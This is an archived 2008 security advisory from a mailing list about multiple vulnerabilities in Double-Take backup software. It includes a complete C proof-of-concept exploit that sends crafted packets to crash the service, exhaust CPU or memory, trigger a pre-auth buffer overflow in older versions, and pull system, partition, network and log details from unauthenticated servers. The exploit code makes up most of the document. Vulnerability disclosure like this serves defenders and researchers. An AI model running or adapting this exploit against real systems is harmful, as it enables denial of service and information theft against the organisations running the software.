Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Exploits-HackingTools
[Top] [All Lists]

[NT] Double-Take Multiple Vulnerabilities

Subject: [NT] Double-Take Multiple Vulnerabilities
Date: 25 Feb 2008 19:19:35 +0200
The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Double-Take Multiple Vulnerabilities
------------------------------------------------------------------------


SUMMARY

 <http://www.doubletake.com> Double-Take is "a disaster recovery and 
backup software distribuited also under other different names depending by 
the company which distribuites it like for example HP StorageWorks Storage 
Mirroring (where version 4.5.0.1629 is vulnerable to a pre-auth buffer 
overflow)". Multiple vulnerabilities have been discovered in Double-Take's 
product.

DETAILS

Vulnerable Systems:
 * Double-Take version 5.0.0.2865

Server termination through "vector<T> too long" exception
The Double-Take service can be terminated through an exception raised when 
the size of a "vector<T>" value is bigger than how much supported. Exist 
different ways for exploiting this vulnerability anyway the main two 
arbitrary effects are the "vector<T> too long" exception or CPU at 100%.

NULL pointer crash
The server can be crashed through malformed packets (like 0x2722 and 
0x272a) which cause the access to a NULL pointer.

Termination through memory allocation
An error with some packets allows to allocate a partially arbitrary amount 
of memory with the possibility to crash the process when no additional 
memory is available.

Informations disclosure
The server sends various types of informations to any unauthenticated 
user, for example the running operating system and the program's paths 
with packet 0x2728, the Ethernet adapters with packet 0x274e, all the 
partitions and their types of filesystem with packet 0x2726, the printer 
driver with 0x274f and the latest log entries using packet 0x2757.

Other exceptions
There exist also additional problems mainly exploitable through packet 
0x2719 which cause respectively a "ospace/time/src\date.cpp" exception and 
the recursive calling of a function which fills the available stack and 
causes the silent termination of the service.

Exploit:
/*

by Luigi Auriemma - http://aluigi.org/poc/doubletakedown.zip

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <time.h>
#include "show_dump.h"

#ifdef WIN32
    #include <winsock.h>
    #include "winerr.h"

    #define close closesocket
    #define sleep Sleep
    #define ONESEC 1000
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>

    #define ONESEC 1
#endif

typedef uint8_t  u8;
typedef uint16_t u16;
typedef uint32_t u32;
typedef uint64_t u64;



#define VER   "0.1"
#define PORT  1100
#define BUFFSZ  8192
#define BOFSZ  4000



int putsh(u8 *dst, u8 *str);
int putcc(u8 *data, int chr, int len);
int getxx(u8 *data, u64 *ret, int bits);
int putxx(u8 *data, u64 num, int bits);
int timeout(int sock, int secs);
u32 resolv(char *host);
void std_err(void);



int main(int argc, char *argv[]) {
    struct sockaddr_in peer;
    int  sd,
            len,
            attack;
    u16  port = PORT;
    u8  buff[BUFFSZ],
            *p;

#ifdef WIN32
    WSADATA wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    setbuf(stdout, NULL);

    fputs("\n"
        "Double-Take <= 5.0.0.2865 multiple vulnerabilities "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web: aluigi.org\n"
        "\n", stdout);

    if(argc < 3) {
        printf("\n"
            "Usage: %s <attack> <host> [port(%hu)]\n"
            "\n"
            "Attacks:\n"
            " 1 = \"vector<T> too long\" exception\n"
            " 2 = CPU at 100%%\n"
            " 3 = NULL pointer access\n"
            " 4 = crash caused by unallocable memory\n"
            " 5 = \"ospace/time/src\\date.cpp\" exception\n"
            " 6 = recursive stack filling\n"
            " 7 = Double-Take 4.5.0.x pre-auth buffer-overflow\n"
            " 8 = info about partitions\n"
            " 9 = info about network adapters\n"
            " 10 = info about printer drivers\n"
            " 11 = info about latest logs\n"
            "\n", argv[0], port);
        exit(1);
    }

    attack = atoi(argv[1]);

    if(argc > 3) port = atoi(argv[3]);
    peer.sin_addr.s_addr = resolv(argv[2]);
    peer.sin_port  = htons(port);
    peer.sin_family  = AF_INET;

    printf("- target %s : %hu\n", inet_ntoa(peer.sin_addr), 
ntohs(peer.sin_port));

    sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(sd < 0) std_err();
    if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
      < 0) std_err();

    p = buff;
    p += putxx(p, 2,  16);
    p += putxx(p, 1,  16);
    if(attack == 1) {
        printf("- \"vector<T> too long\" exception\n");
        p += putxx(p, 0x2730, 16);
        p += putxx(p, 0,  16);
        p += putxx(p, 0,  64);
        p += putxx(p, 0,  32);
        p += putxx(p, 8,  16); // bad value
        p += putxx(p, 0,  16);
        p += putxx(p, 1,  32);
        p += putxx(p, 0,  16);
        p += putxx(p, 0,  64);
        p += putxx(p, 0,  32);
        p += putxx(p, 0,  16);
        p += putxx(p, 0,  16);
        p += putxx(p, 1,  16);
        p += putxx(p, 7,  32);
        p += putxx(p, 1,  32);
        p += putsh(p, "encrypted_username");
        p += putsh(p, "");
        p += putsh(p, "encrypted_password");
        p += putsh(p, "");
        p += putsh(p, "encrypted_domain");
        p += putsh(p, "");
        p += putxx(p, 0,  64); // unused?

    } else if(attack == 2) {
        printf("- CPU at 100%%\n");
        p += putxx(p, 0x2730, 16);
        p += putxx(p, 0,  16);
        p += putxx(p, 0,  64);
        p += putxx(p, 0,  32);
        p += putxx(p, -1,  16); // bad value
        p += putxx(p, 0,  16);
        p += putxx(p, 1,  32);
        p += putxx(p, 0,  16);
        p += putxx(p, 0,  64);
        p += putxx(p, 0,  32);
        p += putxx(p, 0,  16);
        p += putxx(p, 0,  16);
        p += putxx(p, 1,  16);
        p += putxx(p, 7,  32);
        p += putxx(p, 1,  32);
        p += putsh(p, "encrypted_username");
        p += putsh(p, "");
        p += putsh(p, "encrypted_password");
        p += putsh(p, "");
        p += putsh(p, "encrypted_domain");
        p += putsh(p, "");
        p += putxx(p, 0,  64); // unused?

    } else if(attack == 3) {
        printf("- NULL pointer access\n");
        p += putxx(p, 0x2722, 16); // 0x2722 and 0x272a
        p += putxx(p, 0,  16);
        p += putxx(p, 0,  64);
        p += putxx(p, 0,  32);
        p += putxx(p, 0,  16);
        p += putxx(p, 0,  16);
        p += putxx(p, 0,  32);
        p += putxx(p, 0,  16);
        p += putxx(p, 0,  64);
        p += putxx(p, 0,  32);
        p += putxx(p, 0,  16);
        p += putxx(p, 0,  16);
        p += putxx(p, 1,  16);
        p += putxx(p, 0,  32);
        p += putxx(p, 0,  64); // for 0x272a

    } else if(attack == 4) {
        printf("- crash caused by unallocable memory\n");
        p += putxx(p, 0x2719, 16);
        p += putxx(p, 0,  16);
        p += putxx(p, 0,  64);
        p += putxx(p, 0,  32);
        p += putxx(p, 0,  16);
        p += putxx(p, 0,  16);
        p += putxx(p, 0,  32);
        p += putxx(p, 0,  16);
        p += putxx(p, 0,  64);
        p += putxx(p, 0,  32);
        p += putxx(p, 0,  16);
        p += putxx(p, 0,  16);
        p += putxx(p, 1,  16);
        p += putxx(p, 0,  32);
        p += putcc(p, 'a',  5000); // tries to allocate tons of stuff

    } else if(attack == 5) {
        printf("- \"ospace/time/src\\date.cpp\" exception\n");
        p += putxx(p, 0x2719, 16);
        p += putxx(p, 0,  16);
        p += putxx(p, 0,  64);
        p += putxx(p, 0,  32);
        p += putxx(p, 0,  16);
        p += putxx(p, 0,  16);
        p += putxx(p, 0,  32);
        p += putxx(p, 0,  16);
        p += putxx(p, 0,  64);
        p += putxx(p, 0,  32);
        p += putxx(p, 0,  16);
        p += putxx(p, 0,  16);
        p += putxx(p, 1,  16);
        p += putxx(p, 0,  32);
        p += putcc(p, 0,  100);

    } else if(attack == 6) {
        printf("- recursive stack filling\n");
        p += putxx(p, 0x2719, 16);
        p += putxx(p, 0,  16);
        p += putxx(p, 0,  64);
        p += putxx(p, 0,  32);
        p += putxx(p, 0,  16);
        p += putxx(p, 0,  16);
        p += putxx(p, 0,  32);
        p += putxx(p, 0,  16);
        p += putxx(p, 0,  64);
        p += putxx(p, 0,  32);
        p += putxx(p, 0,  16);
        p += putxx(p, 0,  16);
        p += putxx(p, 1,  16);
        p += putxx(p, 0,  32);
        p += putcc(p, 1,  1000);

    } else if(attack == 7) {
        printf("- Double-Take 4.5.0.x pre-auth buffer-overflow\n");
        p += putxx(p, 0x2730, 16);
        p += putxx(p, 0,  16);
        p += putxx(p, 0,  64);
        p += putxx(p, 0,  32);
        p += putxx(p, 0,  16);
        p += putxx(p, 0,  16);
        p += putxx(p, 1,  32);
        p += putxx(p, 0,  16);
        p += putxx(p, 0,  64);
        p += putxx(p, 0,  32);
        p += putxx(p, 0,  16);
        p += putxx(p, 0,  16);
        p += putxx(p, 1,  16);
        p += putxx(p, 7,  32);
        p += putxx(p, 1,  32);
        p += putxx(p, BOFSZ, 16);
        p += putcc(p, 'A', BOFSZ * 2); // username, yes I know that is 
required to encode a bit the unicode values (to avoid 0x41b141b1) but this 
is only for quickly showing an old bug
        p += putsh(p, "");
        p += putsh(p, "password");
        p += putsh(p, "");
        p += putsh(p, "domain");
        p += putsh(p, "");
        p += putxx(p, 0,  64); // unused?

    } else {
        switch(attack) {
            case 8: p += putxx(p, 0x2726, 16); break;
            case 9: p += putxx(p, 0x274e, 16); break;
            case 10: p += putxx(p, 0x274f, 16); break;
            case 11: p += putxx(p, 0x2757, 16); break;
            default: {
                printf("\nError: wrong attack number\n");
                exit(1);
                }
        }
        p += putxx(p, 0,  16);
        p += putxx(p, 0,  64);
        p += putxx(p, 0,  32);
        p += putxx(p, 0,  16);
        p += putxx(p, 0,  16);
        p += putxx(p, 0,  32);
        p += putxx(p, 0,  16);
        p += putxx(p, 0,  64);
        p += putxx(p, 0,  32);
        p += putxx(p, 0,  16);
        p += putxx(p, 0,  16);
        p += putxx(p, 1,  16);
        p += putxx(p, 0,  32);
        p += putcc(p, 0,  8); // only for 0x274f
    }

    printf("- send packet\n");
    send(sd, buff, p - buff, 0);

    printf("- receive and visualize data:\n";);
    while(!timeout(sd, 3)) {
        len = recv(sd, buff, BUFFSZ, 0);
        if(len <= 0) break;
        show_dump(buff, len, stdout);
    }

    close(sd);
    printf("- done\n");
    return(0);
}



int putsh(u8 *dst, u8 *str) {
    int  len;
    u8  *p,
            *s;

    len = strlen(str);
    p = dst;
    p += putxx(p, len, 16); // yes I know it's not perfect for the 4.x 
version
    for(s = str; len--; s++) {
        *p++ = *s;
        *p++ = 0;
    }
    return(p - dst);
}



int putcc(u8 *data, int chr, int len) {
    memset(data, chr, len);
    return(len);
}



int getxx(u8 *data, u64 *ret, int bits) {
    u64  num;
    int  i,
            bytes;

    bytes = bits >> 3;
    for(num = i = 0; i < bytes; i++) {
        num |= (data[i] << ((bytes - 1 - i) << 3));
    }
    *ret = num;
    return(bytes);
}



int putxx(u8 *data, u64 num, int bits) {
    int  i,
            bytes;

    bytes = bits >> 3;
    for(i = 0; i < bytes; i++) {
        data[i] = (num >> ((bytes - 1 - i) << 3)) & 0xff;
    }
    return(bytes);
}



int timeout(int sock, int secs) {
    struct timeval tout;
    fd_set fd_read;

    tout.tv_sec = secs;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    if(select(sock + 1, &fd_read, NULL, NULL, &tout)
      <= 0) return(-1);
    return(0);
}



u32 resolv(char *host) {
    struct hostent *hp;
    u32  host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u32 *)hp->h_addr;
    }
    return(host_ip);
}



#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif


ADDITIONAL INFORMATION

The information has been provided by  <mailto:aluigi@autistici.org> Luigi 
Auriemma.
The original article can be found at:  
<http://aluigi.altervista.org/adv/doubletakedown-adv.txt> 
http://aluigi.altervista.org/adv/doubletakedown-adv.txt



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages. 




<Prev in Thread] Current Thread [Next in Thread>
  • [NT] Double-Take Multiple Vulnerabilities, SecuriTeam <=